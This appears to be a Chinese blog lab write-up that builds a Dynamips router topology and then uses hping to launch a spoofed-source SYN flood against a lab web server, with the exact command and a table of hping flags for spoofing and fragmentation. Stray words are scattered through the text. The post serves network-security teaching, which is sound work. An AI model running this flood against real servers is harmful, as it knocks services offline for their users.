需求描述服务器
使用hping构造SYN报文段,模拟实现SYN Flood ide
R1: spa
Router1 F0/0 <----> XPC P0/03d Router1 F1/0 <----> XPC P0/1blog Router1 F2/0 <----> XPC P0/2ip |
环境搭建ci
使用VMWare和Dynamips。(PC1能够使用本地宿主机)get
实现思路源码
1. 配置DynamipsGUI - R1 博客
Router#conf t Router(config)#hostname R1 R1(config)#line 0 R1(config-line)#logg s R1(config-line)#exit R1(config)#int f0/0 R1(config-if)#ip add 192.168.0.254 255.255.255.0 R1(config-if)#no shut R1(config-if)#int f1/0 R1(config-if)#ip add 192.168.1.254 255.255.255.0 R1(config-if)#no shut R1(config-if)#int f2/0 R1(config-if)#ip add 192.168.2.254 255.255.255.0 R1(config-if)#no shut R1(config-if)#end R1#show ip int b Interface IP-Address OK? Method Status Protocol FastEthernet0/0 192.168.0.254 YES manual up up FastEthernet1/0 192.168.1.254 YES manual up up FastEthernet2/0 192.168.2.254 YES manual up up |
2. 在Web主机上搭建安装Web服务
3. 在PC1上访问Web服务器,能够正常访问。
4. 在Web服务器上启用SnifferPro抓包
5. 在PC2上发动SYN Flood***(须要提早安装Hping源码包)
[root@localhost ~]# hping 192.168.1.1 -p 80 -i u1 -S -a 1.1.1.1 HPING 192.168.1.1 (eth0 192.168.1.1): S set, 40 headers + 0 data bytes |
6. 在Web主机上查看SnifferPro抓到的包,看到有不少SYN Flood
7. 在PC1上访问Web服务器时,看到打开网页时很是慢,甚至没法访问
补充:
hping相关参数说明
参数 |
说明 |
-1 |
使用ICMP模式 |
-2 |
使用UDP模式 |
-p |
指定目的主机端口号 |
-i |
设置发送时间间隔,例如 -i u100 表示间隔100微秒 |
-S |
设置SYN标志 |
-a |
伪造源IP地址 |
-c |
发送数据包个数 |
-N |
设置IP包的ID |
-t |
设置TTL(默认64) |
-x |
设置more fragments 标志 |
-g |
设置fragment offset |
-C |
设置ICMP类型 |
-d |
设置载荷大小 |
至此、实验完毕!
欢迎来个人博客:http://jiayf.blog.51cto.com/